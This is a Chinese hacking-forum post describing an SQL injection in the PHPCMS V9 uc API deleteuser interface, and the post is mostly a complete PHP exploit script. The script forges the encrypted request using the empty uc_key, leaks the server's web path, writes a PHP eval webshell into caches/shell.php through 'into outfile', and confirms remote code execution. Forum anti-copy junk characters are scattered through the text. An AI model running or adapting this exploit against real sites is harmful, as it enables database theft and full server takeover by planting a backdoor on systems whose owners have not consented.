找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1910|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。* i- }" P) x: @: V7 h

: w+ d5 d3 n' Q所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。: x1 [' K. }! g

) _$ q0 t" [3 x' T8 Y! M漏洞分析:0 g0 q  j* G7 e2 D7 ?# l9 |
1.未启用ucenter服务的情况下uc_key为空
/ H* @  R" d7 k7 \define('UC_KEY', pc_base::load_config('system', 'uc_key'));( W- @2 M+ V+ u7 {( v" T2 {! r
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
! v% R4 P& R, j- S( X9 o9 T    public function deleteuser($get,$post) {. t+ A- s. P2 t/ {
        pc_base::load_app_func('global', 'admin');4 e/ n, r: h) [  n# j4 X
        pc_base::load_app_class('messagequeue', 'admin' , 0);
- o- ?% L6 a, q! a& T" P        $ids = new_stripslashes($get['ids']);/ r4 ?: Y. g# _* `3 W/ z7 n
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
% G4 u! v* A0 G( N9 dSQL语句为
5 v8 K- O( Z( x$ kSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
3 ?/ r# C4 p9 n: ^! U# u
& K- P# y$ f1 U" W$ s8 t- q! }利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell* P3 ~, F. Z% d
<?php. g7 t- q' f- }! H
print_r('
7 s* q7 F* [- X6 q" j% p% j---------------------------------------------------------------------------# c3 n. k4 w6 y$ V$ d7 ^- {
PHPcms (v9 or Old Version) uc api sql injection 0day
9 Z6 R6 d7 p# r" L( kby rayh4c#80sec.com/ U: ]- M( g4 b, I& P# A3 E
---------------------------------------------------------------------------
& W1 A% i. |1 x" h$ X');
4 N4 T  ^4 s2 D% c6 ?% K  {* `7 s3 Y1 ]# E, d- l. [$ I$ G2 M
if ($argc<3) {
& o" t+ H+ `$ o    print_r('3 u1 S% W0 {- ], q
---------------------------------------------------------------------------5 d( w+ B2 z$ x# s. p
Usage: php '.$argv[0].' host path OPTIONS0 u) V6 S* g+ x
host:      target server (ip/hostname); w+ C+ b8 v3 w5 @; b, ~
path:      path to phpcms( Z% F% p: b% k5 m
Options:; V! A- [$ o- y* w/ Z4 N
-p[port]:    specify a port other than 80; \# f9 G( [1 c7 j
-P[ip:port]: specify a proxy
5 \, O2 M% x9 b' x3 T, KExample:
/ c& D  C$ [% A+ _' j" W6 l" iphp '.$argv[0].' localhost /  Z( }; t" h" A; n7 f
php '.$argv[0].' localhost /phpcms/ -p81  G0 n4 F4 e, A8 M+ X/ Q. I
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
2 O3 i% `, h0 {/ O; j, @---------------------------------------------------------------------------
9 r( q3 C" a- W# B6 U" S8 Y0 ^4 C, k');
0 }1 L* s  W0 v" L% E    die;" s: a% s  k+ U# B* z
}' k$ ^; d- W) V  P% R
$ ~% F7 D8 S3 i5 K+ p2 n
error_reporting(7);
! [8 M8 i; L1 e- A* kini_set("max_execution_time",0);2 K1 O2 |# |5 a3 ]: M
ini_set("default_socket_timeout",5);
8 c* C5 g1 v  Q2 d- R1 [1 D
& Y9 D* ~: E4 ]5 q1 u1 Cfunction quick_dump($string): G8 A9 F  \! W: j
{& @3 B2 H3 L# S! i
  $result='';$exa='';$cont=0;, w( s1 ^3 ]9 h. B3 t$ b6 z
  for ($i=0; $i<=strlen($string)-1; $i++)9 v2 H& H: f9 P0 X
  {
  N+ D* |- g1 c5 ?   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
+ `& p: U5 Q  n7 t* n   {$result.="  .";}
1 T- _; q- @6 v  R. E! a' d   else% \( P4 a8 X4 A9 L# T/ ?
   {$result.="  ".$string[$i];}2 S" r% v# o( \1 v; Z( ?7 Y
   if (strlen(dechex(ord($string[$i])))==2)
, K, B; L7 |; l9 E, k! F; j   {$exa.=" ".dechex(ord($string[$i]));}% ?" Y! `* b' W, Z9 L
   else
: E+ {' g% Q' F; n   {$exa.=" 0".dechex(ord($string[$i]));}
0 p" z" t+ q+ d+ q- S   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}) ?+ b; S( i/ L* K: B$ A4 N/ z: t
  }- O& r% A( Y8 v. x
return $exa."\r\n".$result;
& Z: `' H. \3 J) e8 s}- j7 E. \& N" D  A4 w4 D% Z
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  ], L. ?* J( w, ]/ Q# s, x4 }7 m

6 J4 n' q: Z# z* e" i7 [function send($packet)! ]' g# R9 x5 O7 {) G8 y1 Y
{: q& f. t1 A7 B; g! W- U
  global $proxy, $host, $port, $html, $proxy_regex;9 t. r  @" }4 }* E4 t: T7 Q
  if ($proxy=='') {  Y/ w2 Y6 `. S$ _  @7 v9 Z7 l6 S
    $ock=fsockopen(gethostbyname($host),$port);7 c/ E, S( X5 B4 y0 t3 ]
    if (!$ock) {
: |' d+ D3 f' Q! D2 n& W. k' Z' y      echo 'No response from '.$host.':'.$port; die;
4 f: N9 `6 {; n! p" `6 v    }5 t+ t5 L2 I5 N+ i1 V
  }
4 H5 L; ^' n5 {% l) q; S; a2 w$ j  else {6 y% Y; a9 w5 x$ {! i: O- W
        $c = preg_match($proxy_regex,$proxy);
8 }1 |; p7 ?+ H7 T/ b    if (!$c) {3 Y5 M3 k3 n1 E5 m
      echo 'Not a valid proxy...';die;+ Z( N8 `* Z# l8 j
    }
+ V' @8 F4 o" g: f/ E. V    $parts=explode(':',$proxy);6 a5 Q5 X7 Q$ b% m+ z
    $parts[1]=(int)$parts[1];7 G4 Q4 |; l' d# z0 F2 {
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";$ x1 `. G$ N1 m& y( w1 H( b
    $ock=fsockopen($parts[0],$parts[1]);& S3 g% H- k0 V% [! W
    if (!$ock) {
7 m4 Y" h/ C: X. `! {6 r) h      echo 'No response from proxy...';die;' Z- `9 i, |* _" p) L6 G
        }& E5 e6 l, n# [; `
  }5 B% b4 I: J: j0 ~
  fputs($ock,$packet);9 k! B. L7 A- K1 T
  if ($proxy=='') {; M, w. s% ?3 p* e6 ~2 {
    $html='';6 H4 r- c+ _! m* O) f
    while (!feof($ock)) {/ S: l0 E& s% ]9 q1 o1 Z- P2 \
      $html.=fgets($ock);) w  o. M+ _' m& x- B
    }
2 F# s5 V7 z! C6 j  }: @9 J% P# X( e# Y0 T4 h& T* F
  else {
2 q6 T4 d4 k! k, w) Q( s7 b. n. S    $html='';' w! _; e( a2 v" h/ U
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
  x4 ?9 |) d. s) z1 l! ?# ^; n      $html.=fread($ock,1);
$ X! r% E0 X9 g* A    }7 y5 Y3 Q" V. g' w0 s9 t" i+ m
  }
/ I/ ]3 {" i) H9 u  fclose($ock);
5 f. Y: d3 q! N9 T3 L9 ]. H}
8 M3 F) m7 C$ @# A" \8 P( f# U6 a. Q
$ B% w) x: `  q9 K$host=$argv[1];, T3 u6 B) e( r4 ^; d0 _9 z
$path=$argv[2];
3 B7 i' K% E$ ?0 |" I& j) S2 j$port=80;9 e* g7 L2 g( V0 @
$proxy="";
: t  R6 k, b( c- wfor ($i=3; $i<$argc; $i++){7 Q' h9 q# f* u4 y' Y6 ~/ ^& l& m4 h! r: ~5 {
$temp=$argv[$i][0].$argv[$i][1];
0 g( i. [8 J' _2 ^$ A" ]# m- cif ($temp=="-p")  x& M3 H* F! k# P6 S
{
" ^, f. R; R5 k  $port=(int)str_replace("-p","",$argv[$i]);; g2 R9 H# J+ |& B4 u
}- p0 y; {7 ^( r5 N) w2 W+ p
if ($temp=="-P")
8 D) K/ V1 S. J" a( i9 t{
5 h- F% s' B4 \) L; x$ f  x  $proxy=str_replace("-P","",$argv[$i]);
# G% [! A0 ~  E( R}
9 |0 e3 u8 B% w2 l# Y4 f$ z; T}
6 I5 T* {5 v" B& ^; c. V9 Y. r+ a6 T6 L, {% @
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
4 h: O3 i$ e4 ]3 @! k; L1 x- `if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}4 j  d0 R: i; t# y+ Q) N: z

4 P8 V% m0 F$ J% V2 g' Ofunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {& e! B1 m  j9 L0 G- F& T4 P
3 ^( n2 N; s4 V. T
    $ckey_length = 4;
( B, d7 b. v& O3 g$ S) w
% t- R- C# H# Q. b# r    $key = md5($key ? $key : '');
3 F2 Z7 q3 a& {- K, [    $keya = md5(substr($key, 0, 16));' G& m( }3 `+ M& M  y/ ^
    $keyb = md5(substr($key, 16, 16));
7 j! i. S% H* n    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
. U. M4 N- a! Q  }
  m' B" t3 T' X    $cryptkey = $keya.md5($keya.$keyc);) p7 {/ F0 t4 Y6 s
    $key_length = strlen($cryptkey);0 V* d) ^) h0 w5 g

2 W. k! r( Z  x7 R. v: i  s, [# N    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
" }( P- b4 {3 Q1 ?" H; ?    $string_length = strlen($string);9 s/ u" Y) `( B+ d3 }2 i
% ^- o& M( L% ^' L) c
    $result = '';  G2 t# J/ n' }: Z
    $box = range(0, 255);
; k) _3 Z( k4 [$ w3 k) s/ q5 K5 ~! V3 K: H* G+ I- W1 c
    $rndkey = array();
* F# J  }' z  _  t* C. j; D8 f    for($i = 0; $i <= 255; $i++) {( x6 g( z; S6 r+ [0 y
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);1 m/ n' g7 a! [" J4 _8 c9 L
    }
( k; g* _! S- g2 i4 Q/ C! v4 H
( U# I- n- a. i! x. `* g. P    for($j = $i = 0; $i < 256; $i++) {- }* x; F4 z* {2 M/ X! y1 W3 R
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
/ u5 k& T6 M% s        $tmp = $box[$i];
( ^, x& Z4 f6 r0 Z8 K2 a; E1 |        $box[$i] = $box[$j];
( z! V/ Q$ Z2 I, {8 R- P        $box[$j] = $tmp;7 Y$ v4 e" ^# w8 b, M8 L7 I# F
    }
1 d  H$ d3 G4 V' K8 x0 }" Y# l
3 M7 |; Y+ P+ a9 }! D# O2 Z    for($a = $j = $i = 0; $i < $string_length; $i++) {/ L' u' Q8 R/ }' p
        $a = ($a + 1) % 256;
( s5 |, k* i, O" d5 C5 `( s        $j = ($j + $box[$a]) % 256;
* o( P/ k% A# q9 o1 [, B( K        $tmp = $box[$a];: U" K, \6 |9 ], k
        $box[$a] = $box[$j];
7 G0 v9 e' O$ |; r1 b$ F8 x9 ~- c        $box[$j] = $tmp;
: r- A8 l3 I- E- {  Y* O: a  [0 \        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
! _% ]1 U; H. F! J2 a' b    }9 ^. g! g' |; I5 U, V

7 a+ C& P. j+ M; F/ K/ Y4 p8 V& I    if($operation == 'DECODE') {6 ?( [6 E5 W. l% j% l& e* i
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
1 [; m# D6 _( }9 R# G  p            return substr($result, 26);" W( r( Y4 x6 r1 E3 _$ Z
        } else {: C4 M/ _. S- N" S% p# K
            return '';
/ |8 N+ W/ G8 K- H: i& k9 }% G        }
! [  r2 h# C- I, |* H  X    } else {
& e4 G, X/ n0 [) ~$ R* I        return $keyc.str_replace('=', '', base64_encode($result));
% v) e0 U) A+ P. ^% p, F" ^  A( o6 |    }
$ ~: v$ o+ V7 V$ D+ ?9 {: t- P% k+ O- j: d) a  E
}- I, q# \; [+ l  D0 X2 k7 e
( {2 g% M" t& }& V0 ?# h- T) |
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
$ }' K2 m. P( Q+ P$SQL = urlencode(authcode($SQL, "ENCODE", ""));( b% l3 C5 o, ]
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
+ g/ h; [+ d; ?  ]1 V8 a1 q* m$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
; w; K. F5 @+ ]# d% A8 c! d' b* l! e$packet.="User-Agent: Mozilla/5.0\r\n";
4 y7 G( e0 ]3 K- \9 N& P# y$packet.="Host: ".$host."\r\n";
5 w+ P' n! D$ r6 h1 F# [7 }2 w# r3 E5 ~9 Z$packet.="Connection: Close\r\n\r\n";
/ k8 f; S  G% ]( gsend($packet);. l  \4 i2 K" _5 \$ O2 V) t; t1 l1 p
if(strpos($html,"MySQL Errno") > 0){
0 c' C5 M! `7 D# B/ [* Jecho "[2] 发现存在SQL注入漏洞"."\n";4 J& {' d0 w! ?$ c$ K5 Q
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";3 I/ g/ h  R7 K0 P% }
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
1 \) M$ s. ^1 H$packet.="User-Agent: Mozilla/5.0\r\n";, M6 C$ G* e$ o- H
$packet.="Host: ".$host."\r\n";
$ |* u/ t$ o. u( O+ V$packet.="Connection: Close\r\n\r\n";
% m1 a5 J2 ]  [1 W  m8 Esend($packet);/ W: \) X- D+ Q( R  W; t& Q
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);: l. ^6 {; ?+ n/ I2 ]! c; b
//print_r($matches);
1 p2 t, c% r) W  mif(!empty($matches)){
3 Z- C' C0 B9 l, u0 pecho "[4] 得到web路径 " . $matches[0]."\n";% X. y& \+ v( j
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";. y9 A# O+ E* E1 }: M( |( h
$SQL = "time=999999999999999999999999&ids=1)";; p  H+ ~# j% [% D  [
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";4 V. @0 c* n/ Z; Z
$SQL.="&action=deleteuser";
& \0 B2 w1 [& Y, i7 }$SQL = urlencode(authcode($SQL, "ENCODE", ""));
) x; n' B7 Z2 b$ l- n! Jecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";, Q7 b1 J' G" a3 t
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";0 K8 J' C: O# {9 D" [
$packet.="User-Agent: Mozilla/5.0\r\n";. f7 f- s/ l5 L; T! k# |( C' y; a: z
$packet.="Host: ".$host."\r\n";0 T  b( _2 g9 _1 i5 e+ Y
$packet.="Connection: Close\r\n\r\n";
# U. u0 ]  `  A) ~. q- k, osend($packet);- I2 @5 W  Y  u/ T# g, z
if(strpos($html,"Access denied") > 0){# K0 Z" ]" d8 h+ f1 F) i9 I
echo "[-] MYSQL权限过低 禁止写入文件 ";
3 p5 {( [' S, k* A, [/ z( Wdie;9 s0 X- W& ?  v
}0 n* ?( z: I& b4 G% ~2 G( y
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
7 o0 y4 c9 w  Z9 G+ P5 c# N/ n$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
% `, q6 {9 a. H6 h  T7 u$packet.="User-Agent: Mozilla/5.0\r\n";
8 z6 @8 e* e# K$packet.="Host: ".$host."\r\n";! o* w. K1 S, V# a" F
$packet.="Connection: Close\r\n\r\n";6 J( ]2 H$ s' J5 w
send($packet);
% f- ?4 ~* }# [if(strpos($html,"<title>phpinfo()</title>") > 0){' |6 T. V$ a7 Q1 X/ }
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
: Z9 Z. }& |4 v# O3 ]- s}# g9 C# B6 ]) R. `/ z$ ?
}else{+ [. C: Y* e9 M; s9 C  W( S
echo "[-]未取到web路径 ";( [4 N, o/ c: N/ R, J
}- p! q: O; a! g5 i* @" ~: L  |; D! F
}else{* I2 t$ j* \3 l5 N- O2 R
echo "[*]不存在SQL注入漏洞"."\n";
8 j$ m- d, a* L# B7 a}
# s( y  {1 y& V% V4 p' [5 u5 ]% u3 T7 T3 G- S. J
?>
# \6 w1 g% K' X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表